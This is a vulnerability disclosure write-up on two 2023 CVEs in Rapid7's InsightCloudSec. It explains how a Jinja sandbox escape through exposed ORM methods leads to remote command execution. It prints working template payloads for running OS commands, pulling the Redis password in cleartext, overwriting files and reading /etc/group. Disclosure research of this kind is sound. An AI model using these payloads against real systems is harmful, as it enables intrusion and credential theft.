Exploiting Rapid7’s InsightCloudSec
Mike Alfaro 3/21/2023
Introduction
InsightCloudSec (formerly DivvyCloud) is a fully-integrated cloud-native security platform (CNSP) that enables organizations to drive cloud security forward through continuous security & compliance. With InsightCloudSec, Rapid7 is the first organization to bring together a single solution that integrates posture management, identity & access management, infrastructure-as-code, and Kubernetes workload protection to enable teams to safely speed up their cloud adoption without compromise.
https://docs.rapid7.com/insightcloudsec/
The InsightCloudSec/DivvyCloud (ICS) platform allows central management of cloud assets and resources across multiple cloud providers in a single, unified web interface.
ICS allows for the automation of inventory management tasks such as:
- Compliance checks
- Resource management
- Auto-tagging
ICS allows for event-based action execution. For example, should an EC2 instance have a rule allowing RDP to be world-accessible, a user-built action will fire. These may include sending an email to a cloud security team, spinning down the instance, etc.
Exploitation
CVE-2023-1304
Initial attack surface exploration of the bot framework showed that ICS allows for Jinja templating within the body of an email sent when the bot is triggered. The presence of Jinja templating was a thoroughly enticing opportunity for a deep dive into the application’s Jinja rendering configuration.
https://docs.rapid7.com/insightcloudsec/jinja2
The first step for exploration was to create a bot which could be triggered arbitrarily to render the Jinja template. This naturally requires the user to have privileges within the application to create or edit bots. with the following roles:
- Bot creator
- Bot editor
Fig. 1. Creating the bot
Once created, we assign a resource to monitor, and a filter which specifies the conditions for which the bot will execute:
Fig. 2. Specifying the monitored resource type (Instance)
Fig. 3. Selecting the filter for the monitored resource type
NephoSec selected the “Always Match” filter for ease of exploitation, allowing rapid triggering of the preceding action. NephoSec then chose the “Send Bulk Email” action to trigger when the filter condition is met:
Fig. 4. Selecting the “Send Bulk Email” action
Fig. 5. Configuration of the “Send Bulk Email” action
Remote Code Execution
NephoSec noted the “Preview Message” link sent the contents of the message to an API endpoint via POST request which rendered the provided email body (including Jinja templates). NephoSec leveraged BurpSuite to capture and modify the template rendering request:
Fig. 6. Sending a template email to the Jinja mock endpoint
Fig. 7. Confirming Jinja template rendering
Per ICS documentation the user may access the “resource” object within the templating to provide details about the impacted resource which may include resource type, public ip, associated tags, etc as can be seen in Figure 9:
Fig. 8. Object disclosure when rendering “resource” object
NephoSec attempted to test access to “sensitive” methods associated with an object such as “__dir__”, but found the Jinja rendering engine leveraged security sandboxing as seen in the following request:
Fig. 9. Security error when accessing unsafe methods or members
As the typical attack chain for Jinja was not feasible, NephoSec explored the available objects within the Instance class to aid in exploitation.
NephoSec identified the “db” member available to the Instance object by leveraging BurpSuite’s “Intruder”:
Fig. 10. Intruder attack enumerating member variables of the Instance class
Fig. 11. Object disclosure of the “DivvyCloudGatewayORM” object
Referring to the source code within the ICS container, NephoSec identified the DivvyCloudGatewayORM class exposed a method named “GetHighestNumberedOrganization” which returned an Organization
Fig. 12, 13. DivvyCloudGatewayORM exposed functions
The Organization class inherited from the “Base,” “AbstractListTable,” and “ResourceMixin” classes as can be seen in the source definition:
Fig. 14. Definition of the Organization class
By examining the AbstractListTable object, NephoSec found a method exposed by the AbstractListTable class named “access_query_column” with the following definition:
Fig. 15. “access_query_column” exposing the “getattr” method
By chaining the db member, the Organization class, and the AbstractMixinTable base class, NephoSec had the ability to invoke the stdlib “getattr” method, allowing access to “sensitive” methods like “__dir__” as can be seen in the following request:
Fig. 16. Successful referencing of the dir method
Using this prototype, NephoSec confirmed the ability to execute the built-in dir method against the resource.db object as seen in the following request:
Fig. 17. Invoking built-in dir method against “resource.db” object
Using this new gadget, NephoSec crafted a Jinja template to achieve remote code execution using the following logic:
1. Use the dir gadget to access __class__ , __mro__ , and __getattribute__
2. Use __getattribute__ to reference __subclasses__
3. Use __subclasses__ to reference the “warncls” class
4. Use the system module within the “warncls” class to invoke os.system
NephoSec used the following payload to successfully invoke the command uname -a formatted without annoying padding, and shown in the request as seen in the following figures:
{% set a = resource.db.GetHighestNumberedOrganization().access_query_column %} {% set _getattr = a(None, '__getattribute__')[1] %} {% set subclasses = _getattr( _getattr( _getattr( (), '__class__' ), '__base__'), '__subclasses__')() %} {% set warncls = subclasses[115] %} {% set mod_sys = _getattr( _getattr( warncls, '__init__'), '__globals__')['sys'] %} {{ mod_sys.modules['os'].popen('uname -a').read() }}
Fig. 18. Jinja template (without padding for readability)
Fig. 19. Full payload for command execution (with padding for readability) executing uname -a
cls = ().__class__ # get a base class base = cls.__base__ # reference base class subclasses = base.__subclasses__ # reference subclasses list warncls = subclasses[115] # reference the "warning" subclass which contains a path to reach the sys module mod_sys = warncls.__init__.__globals__['sys'] # reference the sys module mod_sys.modules['os'].popen('uname -a').read() # invoke and read stdout from the command "uname -a" # akin to just running os.popen() ...
CVE-2023-1306
NephoSec identified the following execution path to allow execution of Redis commands on the connected instance:
{{ resource.db.logger.root.handlers[1].redis }}
Provides the following available methods:
Redis Password Retrieval
Leveraging the getattr method, NephoSec identified a path to retrieve the cleartext password for the redis instance in use by ICS by executing the following payload:
{{ resource.db.logger.root.handlers[1].redis.connection_pool.get_connection(command_name='').password }}
Confirmation can be seen in the following request (this instance has been decommissioned and the password is no longer valid):
Arbitrary File Overwrite
{{ resource.ext.from_json( '{ \"a\" : 1 }' ).to_json(filename='/tmp/test') }} {# writing to file #} {{ resource.ext.from_json(filename='/tmp/test').to_json() }} {# reading the written contents #}
Limited Arbitrary File Read
NephoSec noted extremely limited arbitrary file read capabilities, as the target file on the host MUST be parseable by either the json or yaml parser provided by the Box object as seen in the following payload:
{{ resource.ext.from_yaml(filename='/etc/group') }}